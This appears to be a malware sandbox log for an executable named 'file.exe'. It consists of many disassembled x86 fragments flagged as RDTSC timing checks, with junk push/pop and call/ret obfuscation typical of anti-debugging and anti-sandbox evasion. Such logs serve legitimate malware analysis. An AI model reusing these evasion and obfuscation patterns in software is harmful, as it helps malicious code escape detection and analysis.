Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8EEF second address: 4A8F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jl 00007FD9A885D71Ah 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007FD9A885D716h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8F11 second address: 4A8F17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8F17 second address: 4A8F31 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 je 00007FD9A885D716h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 pushad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 push edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8F31 second address: 4A8FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pop eax 0x00000007 push 00000000h 0x00000009 push esi 0x0000000a call 00007FD9A93E11D8h 0x0000000f pop esi 0x00000010 mov dword ptr [esp+04h], esi 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc esi 0x0000001d push esi 0x0000001e ret 0x0000001f pop esi 0x00000020 ret 0x00000021 mov dword ptr [ebp+122D27D4h], ebx 0x00000027 push edi 0x00000028 pushad 0x00000029 mov ecx, edi 0x0000002b push edi 0x0000002c pop eax 0x0000002d popad 0x0000002e pop edi 0x0000002f call 00007FD9A93E11D9h 0x00000034 jmp 00007FD9A93E11DEh 0x00000039 push eax 0x0000003a jmp 00007FD9A93E11E4h 0x0000003f mov eax, dword ptr [esp+04h] 0x00000043 jmp 00007FD9A93E11E1h 0x00000048 mov eax, dword ptr [eax] 0x0000004a push edx 0x0000004b jmp 00007FD9A93E11E4h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007FD9A93E11E5h 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8FDE second address: 4A8FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A8FE4 second address: 4A8FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9104 second address: 4A910A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9AA8 second address: 4A9AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9B71 second address: 4A9B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9B75 second address: 4A9B79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9C37 second address: 4A9C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9CDF second address: 4A9CE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A9CE3 second address: 4A9CE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA592 second address: 4AA5CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnl 00007FD9A93E11D8h 0x00000010 mov dword ptr [ebp+12452476h], esi 0x00000016 push 00000000h 0x00000018 mov dword ptr [ebp+122D1CC4h], esi 0x0000001e push 00000000h 0x00000020 stc 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jns 00007FD9A93E11D6h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AA5CD second address: 4AA604 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9A885D728h 0x00000008 jmp 00007FD9A885D724h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AAEE0 second address: 4AAEE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 46FFA6 second address: 46FFBB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b js 00007FD9A885D716h 0x00000011 pop esi 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB865 second address: 4AB86F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB86F second address: 4AB875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AD7E5 second address: 4AD85D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9A93E11DBh 0x00000008 jc 00007FD9A93E11D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 pushad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FD9A93E11DBh 0x0000001b popad 0x0000001c jmp 00007FD9A93E11E4h 0x00000021 popad 0x00000022 nop 0x00000023 push 00000000h 0x00000025 push eax 0x00000026 call 00007FD9A93E11D8h 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 add dword ptr [esp+04h], 0000001Dh 0x00000038 inc eax 0x00000039 push eax 0x0000003a ret 0x0000003b pop eax 0x0000003c ret 0x0000003d mov edi, 427558D3h 0x00000042 push 00000000h 0x00000044 stc 0x00000045 push 00000000h 0x00000047 sub dword ptr [ebp+122D1985h], ecx 0x0000004d push eax 0x0000004e push esi 0x0000004f push ecx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB875 second address: 4AB879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AB879 second address: 4AB87D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE251 second address: 4AE2D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 je 00007FD9A885D737h 0x0000000f pushad 0x00000010 xor esi, dword ptr [ebp+122D29B3h] 0x00000016 jmp 00007FD9A885D729h 0x0000001b popad 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edx 0x00000021 call 00007FD9A885D718h 0x00000026 pop edx 0x00000027 mov dword ptr [esp+04h], edx 0x0000002b add dword ptr [esp+04h], 0000001Dh 0x00000033 inc edx 0x00000034 push edx 0x00000035 ret 0x00000036 pop edx 0x00000037 ret 0x00000038 add dword ptr [ebp+122D1A99h], ecx 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ecx 0x00000043 call 00007FD9A885D718h 0x00000048 pop ecx 0x00000049 mov dword ptr [esp+04h], ecx 0x0000004d add dword ptr [esp+04h], 0000001Ah 0x00000055 inc ecx 0x00000056 push ecx 0x00000057 ret 0x00000058 pop ecx 0x00000059 ret 0x0000005a push eax 0x0000005b push edi 0x0000005c push eax 0x0000005d push edx 0x0000005e push eax 0x0000005f pop eax 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE01D second address: 4AE021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AEC79 second address: 4AEC7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B02F3 second address: 4B0371 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jng 00007FD9A93E11D6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FD9A93E11D8h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D3509h], edx 0x0000002f push 00000000h 0x00000031 movzx esi, dx 0x00000034 xor dword ptr [ebp+1244CA62h], ebx 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push eax 0x0000003f call 00007FD9A93E11D8h 0x00000044 pop eax 0x00000045 mov dword ptr [esp+04h], eax 0x00000049 add dword ptr [esp+04h], 00000015h 0x00000051 inc eax 0x00000052 push eax 0x00000053 ret 0x00000054 pop eax 0x00000055 ret 0x00000056 mov dword ptr [ebp+1244BCB2h], ebx 0x0000005c cmc 0x0000005d push eax 0x0000005e pushad 0x0000005f jmp 00007FD9A93E11E1h 0x00000064 push eax 0x00000065 push edx 0x00000066 je 00007FD9A93E11D6h 0x0000006c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0371 second address: 4B0375 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0105 second address: 4B010F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FD9A93E11D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2D80 second address: 4B2DAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD9A885D727h 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jo 00007FD9A885D716h 0x00000014 pop ebx 0x00000015 je 00007FD9A885D71Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2DAF second address: 4B2DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2DB3 second address: 4B2DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B2DC3 second address: 4B2DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B4FC0 second address: 4B4FCA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5493 second address: 4B54A4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD9A93E11D8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B54A4 second address: 4B54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B54AA second address: 4B551F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FD9A93E11DCh 0x0000000b popad 0x0000000c nop 0x0000000d jmp 00007FD9A93E11DAh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FD9A93E11D8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007FD9A93E11D8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a mov dword ptr [ebp+122D2790h], ecx 0x00000050 xchg eax, esi 0x00000051 jc 00007FD9A93E11F0h 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a push edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B551F second address: 4B5523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B64C4 second address: 4B64CE instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD9A93E11D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B64CE second address: 4B64D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B7671 second address: 4B7679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA7E0 second address: 4BA847 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edi, dword ptr [ebp+122D2AB7h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007FD9A885D718h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c or dword ptr [ebp+122D28CDh], eax 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push eax 0x00000037 call 00007FD9A885D718h 0x0000003c pop eax 0x0000003d mov dword ptr [esp+04h], eax 0x00000041 add dword ptr [esp+04h], 00000014h 0x00000049 inc eax 0x0000004a push eax 0x0000004b ret 0x0000004c pop eax 0x0000004d ret 0x0000004e movzx ebx, ax 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jo 00007FD9A885D71Ch 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BA847 second address: 4BA84B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB7AD second address: 4BB836 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD9A885D721h 0x0000000f nop 0x00000010 jmp 00007FD9A885D71Fh 0x00000015 push 00000000h 0x00000017 jmp 00007FD9A885D727h 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FD9A885D718h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 0000001Ah 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 call 00007FD9A885D71Fh 0x0000003d cmc 0x0000003e pop ebx 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB836 second address: 4BB83C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 45F2C6 second address: 45F2CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF102 second address: 4BF118 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF118 second address: 4BF11F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1100 second address: 4C1105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1105 second address: 4C110F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD9A885D716h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C110F second address: 4C1113 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1113 second address: 4C1178 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007FD9A885D718h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 00000018h 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 sub edi, 5769F200h 0x00000029 push 00000000h 0x0000002b mov bx, 4D05h 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push esi 0x00000034 call 00007FD9A885D718h 0x00000039 pop esi 0x0000003a mov dword ptr [esp+04h], esi 0x0000003e add dword ptr [esp+04h], 0000001Bh 0x00000046 inc esi 0x00000047 push esi 0x00000048 ret 0x00000049 pop esi 0x0000004a ret 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 jo 00007FD9A885D716h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1178 second address: 4C1193 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2244 second address: 4C2297 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FD9A885D71Ah 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 mov dword ptr [esp], eax 0x00000017 push edi 0x00000018 mov di, ax 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FD9A885D718h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 00000015h 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 push 00000000h 0x0000003a mov ebx, dword ptr [ebp+122D1B54h] 0x00000040 xchg eax, esi 0x00000041 jo 00007FD9A885D720h 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C2297 second address: 4C22A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C22A2 second address: 4C22A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B668B second address: 4B668F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B668F second address: 4B6695 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6695 second address: 4B670B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FD9A93E11EBh 0x00000008 jmp 00007FD9A93E11E5h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+1247B322h], edx 0x00000018 push dword ptr fs:[00000000h] 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 sbb bx, D9FCh 0x0000002b mov eax, dword ptr [ebp+122D07C9h] 0x00000031 or edi, dword ptr [ebp+122D33D0h] 0x00000037 push FFFFFFFFh 0x00000039 push 00000000h 0x0000003b push eax 0x0000003c call 00007FD9A93E11D8h 0x00000041 pop eax 0x00000042 mov dword ptr [esp+04h], eax 0x00000046 add dword ptr [esp+04h], 00000014h 0x0000004e inc eax 0x0000004f push eax 0x00000050 ret 0x00000051 pop eax 0x00000052 ret 0x00000053 sbb ebx, 71A01A72h 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e jno 00007FD9A93E11D6h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C436D second address: 4C4381 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FD9A885D716h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B670B second address: 4B671D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5271 second address: 4C52B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D726h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD9A885D725h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007FD9A885D71Eh 0x00000016 jng 00007FD9A885D71Ch 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C52B9 second address: 4C5337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007FD9A93E11D8h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 00000018h 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 mov edi, dword ptr [ebp+122D1A8Ah] 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007FD9A93E11D8h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000014h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FD9A93E11D8h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 0000001Dh 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e mov edi, dword ptr [ebp+122D1C8Eh] 0x00000064 xchg eax, esi 0x00000065 push eax 0x00000066 push edx 0x00000067 push ebx 0x00000068 push edi 0x00000069 pop edi 0x0000006a pop ebx 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5337 second address: 4C5348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5348 second address: 4C5361 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FD9A93E11DAh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BB955 second address: 4BB95F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD9A885D716h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BE210 second address: 4BE223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD9A93E11D6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C63B8 second address: 4C63BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
